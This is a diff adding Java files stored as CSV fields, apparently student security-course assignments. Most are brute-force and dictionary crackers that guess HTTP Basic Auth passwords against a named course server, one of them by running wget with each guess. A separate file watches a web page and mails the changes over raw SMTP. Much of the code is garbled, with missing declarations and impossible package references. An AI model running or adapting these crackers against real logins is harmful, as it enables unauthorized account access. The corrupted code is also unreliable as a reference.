+				h.setPasswordAuthentication(pa);
+				Authenticator.setDefault();
+				h=(HttpURLConnection)url.openConnection();
+				h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
+System.out.println(""Try :""+chr(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
+				if(h.getResponseCode() != 401)
+					throw new NullPointerException();
+				h.disconnect();
+			}
+			for(int i=52;i>=1;i--)
+			{
+				for(int j=1;j<=52;j++)
+				{
+					c++;
+					pass=chr[i-1]+""""+chr[j-1];
+					pa=new PasswordAuthentication("""",pass.toCharArray());
+					h.setPasswordAuthentication(pa);
+					Authenticator.setDefault();
+					h=(HttpURLConnection)url.openConnection();
+					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
+System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
+					if(h.getResponseCode() != 401)
+						throw new NullPointerException();
+					h.disconnect();
+				}
+			}
+			for(int i=52;i>0;i--)
+			{
+				for(int j=0;j<26;j++)
+				{
+					for(int k=1;k<=52;k++)
+					{
+					c++;
+					pass=chr[i-1]+""""+chr[25-j]+""""+chr[k-1];
+					pa=new PasswordAuthentication("""",pass.toCharArray());
+					h.setPasswordAuthentication(pa);
+					Authenticator.setDefault();
+					h=(HttpURLConnection)url.openConnection();
+					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
+System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
+					if(h.getResponseCode() != 401)
+						throw new NullPointerException();
+					h.disconnect();
+
+					pass=chr[i-1]+""""+chr[51-j]+""""+chr[k-1];
+					pa=new PasswordAuthentication("""",pass.toCharArray());
+					h.setPasswordAuthentication(pa);
+					Authenticator.setDefault();
+					h=(HttpURLConnection)url.openConnection();
+					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
+System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
+					if(h.getResponseCode() != 401)
+						throw new NullPointerException();
+					h.disconnect();
+
+					}
+				}
+			}
+		}
+		catch(NullPointerException great)
+		{
+			System.out.println(""\n\n The password is cracked.\n The password is : ""+pass);
+		}
+		catch(MalformedURLException mfe)
+		{
+			System.out.println(""The URL :""+u+"" is not a proper URL."");
+		}
+		catch(Exception e)
+		{
+			e.printStackTrace();
+		}
+	}
+	public static void main(String[] args)  throws Exception
+	{
+		if(args.length!=2)
+			System.out.println(""Usage :\n java BruteForce <url> <user-name>"");
+		else
+		{
+			System.out.println(""Starting the BruteForce Attack : ""+args[0]);
+			new BruteForce(args[0],args[1]);
+		}
+	}
+}
+
+"
+083.java,"import java.net.*;
+import java.util.*;
+import java.io.*;
+
+
+
+public class Dictionary {
+  URL url;
+  URLConnection uc;
+  String username, password, encoding;
+  int pretime, posttime;
+  String c;
+
+  public Dictionary(){
+    pretime = new Date().getTime();
+    try{
+      url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+    }catch(MalformedURLException e){
+      e.printStackTrace();
+    }
+    username = """";
+  }
+
+  public void checkPassword(String pw){
+    try{
+      password = new String(pw);
+      encoding = new pw.misc.BASE64Encoder().encode((username+"":""+password).getBytes());
+      uc = url.openConnection();
+      uc.setRequestProperty(""Authorization"", "" "" + encoding);
+       bf = uc.getHeaderField(null);
+      System.out.println(password);
+      if(bf.equals(""HTTP/1.1 200 OK"")){
+        posttime = new Date().getTime();
+         diff = posttime - pretime;
+        System.out.println(username+"":""+password);
+        System.out.println();
+        System.out.println(diff/1000/60 + "" minutes "" + diff/1000%60 + "" seconds"");
+        System.exit(0);
+      }
+    }catch(MalformedURLException e){
+      e.printStackTrace();
+    }catch(IOException ioe){
+      ioe.printStackTrace();
+    }
+  }
+
+  public static void main (String[] args){
+    Dictionary dict = new Dictionary();
+    String pw;
+    int number = 0;
+    try{
+      FileReader fr = new FileReader(""words"");
+      BufferedReader bf = new BufferedReader(fr);
+      while ((pw = bf.readLine()) != null) {
+        
+        if ((pw.length() <=3 ) && (pw.matches(""[a-zA-Z]*""))){
+          dict.checkPassword(pw);
+	}
+      }
+    }catch(IOException e){
+      e.printStackTrace();
+    }
+  }
+}
+"
+132.java,"
+import java.net.*;
+import java.io.*;
+import java.awt.*;
+
+
+public class WatchDog extends Thread
+{
+   private String myUrl = ""http://yallara.cs.rmit.edu./~"";
+   private PrintWriter p;
+   private int changes = 0, flag = 0;
+   private int FLAG = -1;
+   private String fileName;
+
+
+   public static void main (String args[])
+   {
+      WatchDog wd = new WatchDog();
+   }
+
+
+   public WatchDog()
+   {
+      readFile(""file1.txt"", flag);
+      
+   }
+
+
+   public void run()
+   {
+      try
+      {
+         
+
+         sleep(86400);
+         readFile(""file2.txt"",1);
+      }
+      catch(Exception e)
+      {   }
+   }
+
+
+   public void readFile(String fileName, int flag)
+   {
+      String data;
+
+      File file = new File(fileName);
+      file.delete();
+
+      
+
+      try
+      {
+         FileOutputStream fos = new FileOutputStream(fileName,true);
+         PrintWriter pw = new PrintWriter(fos);
+
+         URL url = new URL (myUrl);
+         URLConnection urlCon = url.openConnection();
+
+         InputStream is = (InputStream)urlCon.getInputStream();
+         InputStreamReader isr = new InputStreamReader(is);
+         BufferedReader  = new BufferedReader(isr);
+
+
+         
+
+          
+          {
+             data = sw.readLine();
+             pw.println(data);
+          } while (data != null);
+
+          pw.close();
+
+       }
+       catch (Exception e)
+       {   }
+
+       
+
+       if(flag == 0)
+       {   }
+       else 
+       {
+           if(flag == 1)
+           {
+              detectChanges();
+           }
+       }
+   }
+
+
+    public void detectChanges()
+    {
+       File file = new File(""difference.txt"");
+       file.delete();
+       String message = """", data ="""";
+
+       try
+       {
+          
+
+          FileOutputStream fos = new FileOutputStream(""difference.txt"",true);
+          PrintWriter pw = new PrintWriter(fos);
+
+          Process ps = Runtime.getRuntime().exec(""diff file1.txt file2.txt"");
+          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));
+
+          pw.println(readInputStream(ps.getInputStream()));
+          pw.println(""\n"");
+          pw.close();
+
+
+          
+
+          if(changes == 1)
+          {
+             FileReader f = new FileReader(""difference.txt"");
+             BufferedReader bf  = new BufferedReader(f);
+
+
+             Socket  = new Socket(""wombat.cs.rmit.edu."", 25);
+             p = new PrintWriter(bf.getOutputStream());
+
+             sendMail(null);
+             sendMail(""HELO cs.rmit.edu."");
+             sendMail(""MAIL FROM: @.rmit.edu."");
+             sendMail(""RCPT : @.rmit.edu."");
+             sendMail(""DATA"");
+
+             
+             {
+                message = new String(message + data +""\n"");
+             } while ((data = bf.readLine()) != null);
+
+
+             p.print(message);
+             sendMail(""."");
+             
+          }
+        }
+        catch(Exception e)
+        {   }
+    }
+
+
+
+    public void sendMail(String text)
+    {
+       if(text == null)
+       {   }
+       else
+       {
+          TextArea message = new TextArea();
+
+          message.append(text);
+          message.append(""\n"");
+
+          p.println(text);
+          p.flush();
+       }
+    }
+
+    String readInputStream(InputStream is)
+    {
+      String str;
+      StringBuffer buf = new StringBuffer();
+      InputStream isr = new BufferedInputStream(is);
+      int check = 0;
+
+      try
+      {
+         
+         {
+            buf.append((char)check);
+            changes = 1;
+         } while((check = isr.get()) != FLAG);
+      }
+      catch(IOException ioe)
+      { }
+
+      str = buf.toString();
+
+      return str;
+    }
+}
+"
+092.java,"import java.io.*;
+import java.net.*;
+import java.misc.*;
+
+
+public class Dictionary
+{
+
+   public static void main (String args[]) throws IOException
+   {
+      final int maxLength = 3;
+      final String username = """";
+      final File dicFile = new File(""/usr/share/lib/dict/words"");
+      final URL pageURL = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+      String password="""";
+      BASE64Encoder encoder = new BASE64Encoder();
+      boolean notFound = true;
+      HttpURLConnection conn;
+
+      BufferedReader reader = new BufferedReader(new FileReader(dicFile));
+
+      while (notFound&&((password = reader.readLine()) != null))
+      {
+         if(password.length()>maxLength)
+         {
+            continue;
+         }
+
+         conn = (HttpURLConnection) pageURL.openConnection();
+
+            conn.setRequestProperty(""Authorization"", "" ""+encoder.encode((username+"":""+password).getBytes()));
+
+         if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
+         {
+            notFound=false;
+         }
+
+      }
+
+      reader.print();
+
+      if(notFound)
+      {
+         System.out.println("" valid password in dictionary file."");
+      }
+      else
+      {
+         System.out.println(""Found valid password: \""""+password+""\"""");
+      }
+   }
+}
+
+"
+115.java,"
+import java.net.*;
+import java.util.*;
+import java.io.*;
+
+public class PasswordTest {
+    
+    private String strURL;
+    private String strUsername;
+    private String strPassword;
+    
+    
+    public PasswordTest(String url, String username, String password) {
+        strURL = url;
+        strUsername = username;
+        strPassword = password;        
+    }
+ 
+    boolean func() {
+        boolean result = false;
+
+        Authenticator.setDefault (new MyAuthenticator ());
+        try {
+            URL url = new URL(strURL);
+            HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
+            urlConn.connect();
+            if(urlConn.getResponseMessage().equalsIgnoreCase(""OK"")) {
+               result = true;
+            }
+        } 
+        catch (IOException e) {}
+        
+        return result;
+    }
+    
+    
+     class MyAuthenticator extends Authenticator {
+       protected PasswordAuthentication getPasswordAuthentication() {
+            String username = strUsername;
+            String password = strPassword;
+            return new PasswordAuthentication(username, password.toCharArray());
+        }
+    }
+
+}
+"
+053.java,"
+import java.net.*;
+import java.io.*;
+import java.misc.*;
+
+public class Dictionary
+{
+   public static void main (String args[])
+   {
+      
+      String file = ""/usr/share/lib/dict/words"";
+      FileReader fRead;
+      BufferedReader buf;
+
+      try
+      {
+         fRead = new FileReader(file);
+         buf = new BufferedReader(fRead);
+         String Password = """";
+         int i=0;
+
+         
+         while( (Password = buf.readLine()) != null)
+         {
+            i++;
+            String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", Password, i);
+         }
+      }
+      catch(FileNotFoundException e)
+      {
+         System.out.println(""File not found"");
+      }
+      catch(IOException ioe)
+      {
+         System.out.println(""IO Error "" + ioe);
+      }
+   }
+
+   public static String encode (String source)
+   {
+      BASE64Encoder enc = new source.misc.BASE64Encoder();
+      return(enc.encode(source.getBytes()));
+   }
+
+   public static String myurl (String url, String Name, String Password, int val )
+   {
+      String thisLine;
+      String retVal;
+      URL u;
+      URLConnection uc;
+      retVal = """";
+
+      try
+      {
+         u = new URL(url);
+         try
+         {
+            uc = u.openConnection();
+            if (Name != null)
+            {
+               uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password));
+            }
+            InputStream content = (InputStream)uc.getInputStream();
+            BufferedReader in = new BufferedReader (new InputStreamReader(content));
+
+            String line;
+            
+            while ((line = in.readLine()) != null)
+            {
+               retVal += line;
+               System.out.println(line);
+               System.out.println(""password=""+Password+"";number:""+num);
+               System.exit(0);
+            }
+         }
+         catch (Exception e)
+         {
+            ;
+            
+         }
+      }
+      catch (MalformedURLException e)
+      {
+         return(url + "" is not a parseable URL"");
+      }
+      return retVal;
+   }
+}
+
+
+"
+170.java,"package java.httputils;
+
+import java.io.BufferedReader;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.sql.Timestamp;
+
+
+public class Dictionary extends BruteForce
+{
+    protected String wordFile;
+
+    public Dictionary()
+    {
+        super();
+    }
+
+    public static void main(String[] args)
+    {
+        Dictionary dictionary = new Dictionary();
+
+        if (args.length < 3)
+        {
+            System.out.println(dictionary.printUsage());
+        }
+        else
+        {
+            dictionary.setURL(args[0]);
+            dictionary.setUserName(args[1]);
+            dictionary.setWordFile(args[2]);
+
+            if (args.length > 3)
+            {
+                dictionary.setFileName(args[3]);
+            }
+            dictionary.process();
+            System.out.println(dictionary.printResult());
+            System.exit(1);
+        }
+    }
+
+    public void process()
+    {
+        attempts = 0;
+        String password = """";
+        
+        setStart(new Timestamp(System.currentTimeMillis()));
+
+        BufferedReader input = null;
+        try
+        {
+            FileReader file = new FileReader(getWordFile());
+            
+            input = new BufferedReader(file);
+            
+        }
+        catch (FileNotFoundException x)
+        {
+            System.err.println(""File not found: "" + getWordFile());
+            System.exit(2);
+        }
+
+        try
+        {
+            while ((password = input.readLine()) != null)
+            {
+                try
+                {
+                    
+                    attempts++;
+                    BasicAuthHttpRequest req =
+                        new BasicAuthHttpRequest(
+                            getURL(),
+                            getUserName(),
+                            password);
+                    setPassword(password);
+                    setEnd(new Timestamp(System.currentTimeMillis()));
+                    setContent(req.getContent().toString());
+
+                    
+                    if (getFileName() != null
+                        && getFileName().length() > 0)
+                    {
+                        createReport();
+                    }
+                    return;
+                }
+                catch (MalformedURLException e)
+                {
+                    e.printStackTrace();
+                    return;
+                }
+                catch (IOException e)
+                {
+
+                }
+            }
+        }
+        catch (IOException x)
+        {
+            x.printStackTrace();
+        }
+
+        
+        setEnd(new Timestamp(System.currentTimeMillis()));
+
+    }
+
+    public String printUsage()
+    {
+        StringBuffer s = new StringBuffer();
+
+        s.append(""** BruteForce proper usage **\n\n"");
+        s.append(
+            ""java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n"");
+
+        return s.toString();
+    }
+    
+    public String getWordFile()
+    {
+        return wordFile;
+    }
+
+    
+    public void setWordFile(String string)
+    {
+        wordFile = string;
+    }
+
+}
+"
+225.java,"
+import java.io.*;
+import java.awt.*;
+import java.net.*;
+
+public class BruteForce
+{
+	public static void main (String[] args)
+	{
+		String pw = new String();
+		pw = getPassword ();
+		System.out.println(""Password is: ""+pw);
+	}
+	public static String getPassword()
+	{
+		String passWord = new String();
+		passWord = ""AAA"";
+		char[] guess = passWord.toCharArray();
+		Process pro = null;
+		Runtime runtime = Runtime.getRuntime();
+		BufferedReader in = null;
+		String str=null;
+		boolean found = true;
+
+		System.out.println("" attacking....."");
+		for (int i=65;i<=122 ;i++ )
+		{
+			guess[0]=(char)(i);
+            for (int j=65;j<=122 ;j++ )
+			{
+				guess[1]=(char)(j);
+                for (int k=65 ;k<=122 ;k++ )
+				{
+					guess[2]=(char)(k);
+					passWord = new String(guess);
+					String cmd = ""wget --http-user= --http-passwd=""+passWord +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php "";
+					try
+					{
+						pro = runtime.exec(cmd);
+
+						in = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
+						found = true;
+						if((str=in.readLine())!=null)
+						{
+							while ((str=in.readLine())!=null)
+							{
+								if (str.endsWith(""Required""))
+								{
+									found = false;
+								}
+							}
+							if (found == true)
+							{
+								return passWord;
+							}
+						}
+					}
+					catch (Exception exception)
+					{
+					    exception.getMessage();
+					}
+					if(k==90)
+						k=96;
+					runtime.gc();
+				}
+				if(j==90)
+					j=96;
+			}
+			if(i==90)
+				i=96;
+		}
+		return ""not found"";
+	}
+}"
+151.java,"
+
+import java.net.*;
+import java.io.IOException;
+import java.util.*;
+import java.io.*;
+public class BruteForce   {
+  
+  
+  
+  String passwordLetters[] ={""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
+  String password=""  "";
+  static int counter;
+  static int noOfAttempts;
+  static String userName="""";
+  HttpURLConnection u;
+  boolean threadF,threadM;
+  String passBase64;
+  
+  PasswordCrackThreadF passwordCrackThreadF;
+  PasswordCrackThreadM passwordCrackThreadM;
+  URL   url;
+  
+  
+  public BruteForce() {
+    breakPassword();
+  }
+
+  public static void main (String args[])  {
+    new BruteForce();
+  }
+  
+  
+  
+  private void  breakPassword() {
+    int j;
+    
+    breakOneLetterPassword();
+    
+    breakTwoLetterPassword();
+    
+    
+    
+
+    passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);
+    
+    passwordCrackThreadM  = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);
+    
+    passwordCrackThreadF.print();
+    passwordCrackThreadM.print();
+  }
+  
+  
+  private void breakOneLetterPassword() {       
+     MyHttpURLConnection    httpURLConnection;
+     try {
+	   
+	    url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+	   
+	   passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+           u = (HttpURLConnection)url.openConnection();
+	   u.setRequestProperty(""Authorization"", "" "" + passBase64);
+     } catch  (IOException  io) {io.printStackTrace();}
+         
+         loop: for (int i=0;i<52;i++) {
+                   password = passwordLetters[i];
+		   
+		   password ="":""+ password;
+                   try {
+                   
+	  	       u=  (HttpURLConnection)url.openConnection();
+		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+                       u.setRequestProperty(""Authorization"", "" "" + passBase64);
+		       u.connect();	
+		       noOfAttempts++;  
+		       if (u.getContentLength() != 0) {
+		             
+		             if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
+		         
+	                         System.out.println (""Your User Name : Password is  ""+password);
+				 System.out.println(""   "");
+			         System.out.println("" of Attempts / Requests ""+ noOfAttempts);
+			  
+			         System.exit(0);
+                     
+	                     }
+		       }
+		   } catch  (ProtocolException  px) {px.printStackTrace();
+                   
+                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
+	           } catch (BindException e){e.printStackTrace();
+	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
+	           } catch  (IOException  io) {io.printStackTrace();
+		   
+	           } finally {u.disconnect();
+	           }
+        }   
+  }
+  
+  
+  private void breakTwoLetterPassword() {   
+      MyHttpURLConnection    httpURLConnection;       
+      try {
+	   
+	    url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+	   
+	    passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+            u = (HttpURLConnection)url.openConnection();
+	    u.setRequestProperty(""Authorization"", "" "" + passBase64);
+      } catch  (IOException  io) {io.printStackTrace();}
+
+      
+      loop: for (int i=0;i<52;i++) {
+                for (int j=0;j<52;j++) {
+                   password = passwordLetters[i]+passwordLetters[j];
+		    
+		   password ="":""+ password;
+		   
+		   
+	          
+                   try {
+		        u=  (HttpURLConnection)url.openConnection();
+			 passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+                                  u.setRequestProperty(""Authorization"", "" "" + passBase64);
+			u.connect();
+			noOfAttempts++;
+			
+            	        if (u.getContentLength() != 0) {
+		           if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
+	                      System.out.println (""Your User Name : Password is  ""+password); 
+			      System.out.println(""   "");
+			      System.out.println("" of Attempts / Requests ""+ noOfAttempts);
+			  
+			      System.exit(0);
+	                   }
+		        }
+		   
+		
+	           } catch  (ProtocolException  px) {px.printStackTrace();
+                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
+	           } catch (BindException e){e.printStackTrace();
+	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
+	           } catch  (IOException  io) {io.printStackTrace();
+		   
+	           } finally {u.disconnect();
+	           }
+               }  
+      }
+
+
+  }
+}
+
+class PasswordCrackThreadF extends  Thread  {
+   
+   
+   
+   private String passwordLetters[] ;
+   private String password=""  "";
+   private static String userName="""";
+   private MyHttpURLConnection    httpURLConnection;
+   private URL   url;
+   
+   BruteForce bruteForce;
+   int count;    
+   String passBase64;
+   private HttpURLConnection  u;
+   
+   int start,stop;
+   
+   static boolean found;
+   
+   PasswordCrackThreadF(int start,int stop,int counter,String[]
+                                                 passwordLetters,String userName,BruteForce bruteForce) {
+       this.start = start;
+       this.stop  = stop;
+       this.passwordLetters =passwordLetters;
+       this.userName=userName;
+       count =counter;
+       this.bruteForce=bruteForce; 
+       bruteForce.threadF=true;
+	
+       
+       passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());
+       try {
+	     
+	     url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+	    
+
+	     u = (HttpURLConnection)url.openConnection();
+             
+	     u.setRequestProperty(""Authorization"", "" "" + passBase64);
+	  
+
+       } catch  (IOException  io) {io.printStackTrace();}
+
+   }
+  
+   public synchronized void run()  {
+     
+     outer : for (int i=0; i<stop;i++)  {
+                 for (int j=0;j<52;j++) {
+                     for (int k=0;k<52;k++) {
+                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
+   	                 password ="":""+ password;
+			 
+			
+			
+			  while (!(bruteForce.threadF)) {
+			     try { wait(1); }
+			       catch (InterruptedException e){}
+			   }  
+			   
+			  if (found)
+			      System.exit(0);
+                          try {   
+			        u = (HttpURLConnection)url.openConnection();
+			        passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+                                u.setRequestProperty(""Authorization"", "" "" + passBase64);
+			         
+
+			
+                                u.connect();
+				
+		                BruteForce.noOfAttempts++;
+
+		                if (u.getContentLength() != 0) {
+
+		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
+				       found=true;
+				 
+				 
+					
+					  
+					
+		                        System.out.println (""Your User Name : Password is  ""+password+ 
+		                                 ""   ""+ "" Found by Thread  ""+count);
+					System.out.println(""   "");
+			                System.out.println("" of Attempts / Requests ""+ BruteForce.noOfAttempts);
+				      	 
+               		               System.exit(0);
+
+	                            }
+		               }
+		   
+		 		 
+	                 } catch  (ProtocolException  px) {px.printStackTrace();
+                         } catch ( NoRouteToHostException nr){k--; 
+			    nr.printStackTrace();
+                         } catch (BindException e){e.printStackTrace();
+	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
+	                 } catch  (IOException  io) {io.printStackTrace();
+			 
+	                 } finally {u.disconnect();
+	                 }
+			 bruteForce.threadF=false;
+			 bruteForce.threadM=true;
+			
+			 notifyAll();
+			
+                    }
+		   
+     }
+    System.out.println(""End"");
+  }
+ }
+}
+
+
+class PasswordCrackThreadM extends  Thread  {
+   
+   
+   
+   private String passwordLetters[] ;
+   private String password=""  "";
+   private static String userName="""";
+   private MyHttpURLConnection    httpURLConnection;
+   private URL   url;
+   String passBase64;
+   private URLAuthenticator  urlAuthenticator =  new URLAuthenticator(userName);
+   BruteForce bruteForce;
+   int count;    
+   private HttpURLConnection  u;
+   
+   int start,stop;
+   
+   static boolean found;
+   
+   
+   
+   PasswordCrackThreadM(int start,int stop,int counter,String[]
+                                                 passwordLetters,String userName,BruteForce bruteForce) {
+       this.start = start;
+       this.stop  = stop;
+       this.passwordLetters =passwordLetters;
+       this.userName=userName;
+       count =counter;
+        this.bruteForce=bruteForce; 
+       try {
+	     
+	     url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+	     
+             u = (HttpURLConnection)url.openConnection();
+	     passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+               
+	     u.setRequestProperty(""Authorization"", "" "" + passBase64);
+
+	     
+
+	     
+	     
+
+       } catch  (IOException  io) {io.printStackTrace();}
+
+   }
+  
+   public synchronized void run()  {
+     
+     outer : for (int i=0; i<stop;i++)  {
+                 for (int j=0;j<52;j++) {
+                     for (int k=0;k<52;k++) {
+                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
+   	                 password="":""+password;
+			
+	                 
+			
+			
+			  while  (!(bruteForce.threadM)) {
+			     try { wait(1); }
+			       catch (InterruptedException e){}
+			   }
+			     
+			   
+			  if (found)
+			      System.exit(0);
+                          try {   u = (HttpURLConnection)url.openConnection();
+			 
+                                  passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+                                  u.setRequestProperty(""Authorization"", "" "" + passBase64);
+			         
+
+			
+                                  u.connect();
+                                  BruteForce.noOfAttempts++;
+		               
+		                 if (u.getContentLength() != 0) {
+			           
+		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
+				       found=true;
+				      
+				   
+					
+					  
+					
+		                        System.out.println (""Your User Name : Password is  ""+password+ 
+		                                 ""   ""+ "" Found by Thread  ""+count);
+				      	 
+					 
+					System.out.println(""   "");
+			                System.out.println("" of Attempts / Requests ""+ BruteForce.noOfAttempts);
+               		                System.exit(0);
+
+	                            }
+		                }
+		   
+		 		 
+	                 } catch  (ProtocolException  px) {px.printStackTrace();
+                         } catch ( NoRouteToHostException nr){k--; 
+			       nr.printStackTrace();
+                         } catch (BindException e){e.printStackTrace();
+	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
+	                 } catch  (IOException  io) {io.printStackTrace();
+			 
+	                 } finally {u.disconnect();
+	                 }
+			 bruteForce.threadF=true;
+
+			 
+			 bruteForce.threadM=false;
+			
+			 notifyAll();
+			
+                    }
+		   
+     }
+    System.out.println(""End"");
+  }
+ }
+}
+
+
+
+
+
+
+
+class URLAuthenticator  extends Authenticator {
+   private String uName;
+   String passwd;
+   static  char[] password;
+   public URLAuthenticator(String uName) {
+
+     this.uName = uName;
+   }
+
+   public void setPassword(String passwd)  {
+
+	 this.passwd=passwd;
+	 password=passwd.toCharArray();
+
+   }
+   
+   public PasswordAuthentication getPasswordAuthentication()  {
+
+	
+ 	
+	
+	return new PasswordAuthentication(uName,password);
+   }
+
+}
+
+
+
+
+ 
+
+class MyHttpURLConnection extends HttpURLConnection  {
+    public MyHttpURLConnection(URL url) {
+       super(url);
+    }
+    public void disconnect() {
+    }
+
+    public boolean usingProxy() {
+        return true;
+    }
+    public void connect() {
+    }
+
+}
+
+"
+080.java,"
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+
+public class PasswordCracker {
+    
+    
+    private static final char  car= 'a';
+    
+    private static final char END   = 'z' + 1;
+    
+    
+    public static final int BRUTEFORCE = 0;
+    public static final int DICTIONARY = 1;
+    
+    
+    String urlName = null;
+    
+    String user    = null;
+    
+    String filename = null;
+    
+    int method;
+    
+    
+    int attempt_counter;
+    
+    
+    public static void main(String[] args) {
+        
+        PasswordCracker cracker = null;
+        
+        if ((args.length == 3) && (args[2].equalsIgnoreCase(""BRUTEFORCE""))) {
+            
+            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
+        }
+        else if ((args.length == 4) && (args[2].equalsIgnoreCase(""DICTIONARY""))) {
+            
+            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
+        }
+        else {
+            System.out.println(""Syntax: java PasswordCracker <username> <url> BRUTEFORCE "");
+            System.out.println(""        java PasswordCracker <username> <url> DICTIONARY <sourcefile> "");
+            System.exit(1);
+        }
+        
+        cracker.run();
+    }
+    
+    
+    public PasswordCracker(String user, String url, int method, String file) {
+        
+        this.user     = user;
+        this.urlName  = url;
+        this.filename = file;
+        
+        this.method = method;
+    }
+    
+    
+    public boolean run() {
+        
+        String password;
+         s = 0;
+         end = 0;
+        
+        try {
+            attempt_counter = 0;
+            URL target = new URL(urlName);
+            
+            switch (this.method) {
+                
+               case  BRUTEFORCE:
+                    
+                    s = System.currentTimeMillis();
+                    
+                    
+                    for (char i = 0; i < END; i++) {
+                        for (char j = 0; j < END; j++) {
+                            for (char k = 0; k < END; k++) {
+                                
+                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
+                                if (performConnection(target, user, password)) {
+                                    
+                                    end = System.currentTimeMillis();
+                                    
+                                    System.out.println(""URL: \t\t"" + target +
+                                    ""\nUser: \t\t""+ user + ""\nPassword: \t"" + password);
+
+                                    System.out.println(""Attempts: \t"" + attempt_counter
+                                    + ""\nTotal time: \t"" + ((end - a) / 1000.0f) + "" seconds"");
+                                    return true;
+                                }
+                            }
+                        }
+                    }
+                    
+                    
+                    for (char i = 0; i < END; i++) {
+                        for (char j = 0; j < END; j++) {
+                            for (char k = 0; k < END; k++) {
+                                
+                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
+                                if (isValidPassword(target, password)) {
+                                    
+                                    end = System.currentTimeMillis();
+                                    
+                                    System.out.println(""Attempts: \t"" + attempt_counter
+                                    + ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
+                                    return true;
+                                }
+                            }
+                        }
+                    }
+                    break;
+                    
+                case DICTIONARY:
+                    try {
+                        BufferedReader buf = new BufferedReader(new FileReader(filename));
+                        
+                         s = System.currentTimeMillis();
+                        
+                         {
+                            password = buf.readLine();
+                            
+                            
+                            
+                            if (password.length() == 3) {
+                                if (performConnection(target, user, password)) {
+                                    
+                                    end = System.currentTimeMillis();
+                                    
+                                    System.out.println(""URL: \t\t"" + target +
+                                    ""\nUser: \t\t""+ user + ""\nPassword: \t"" + password);
+                                    
+                                    System.out.println(""Attempts: \t"" + attempt_counter
+                                    + ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
+                                    return true;
+                                }
+                            }
+                        }
+                        while (password != null);
+                    }
+                    catch (FileNotFoundException e) {
+                        System.out.println(""File \"""" + filename + ""\"" not found"");
+                    }
+                    catch (IOException ioe) {
+                        System.out.println(""IO Error "" + ioe);
+                    }
+                    break;
+                    
+                default:
+                    return false;
+            }
+        }
+        catch (Exception e) {
+            System.out.println(""ERROR: "" + e.getMessage());
+        }
+        
+        end = System.currentTimeMillis();
+        System.out.println(""Attempts: \t"" + attempt_counter +
+        ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
+        
+        return true;
+    }
+    
+    
+    private boolean isValidPassword(URL target, String password) throws Exception {
+        
+        char letter[] = new char[3];
+        String generated = null;
+        
+        letter[0] = password.charAt(0);
+        for (int i = 0; i < 2; i++) {
+            
+            letter[1] = password.charAt(1);
+            for (int j = 0; j < 2; j++) {
+                
+                letter[2] = password.charAt(2);
+                for (int k = 0; k < 2; k++) {
+                    
+                    generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
+                    
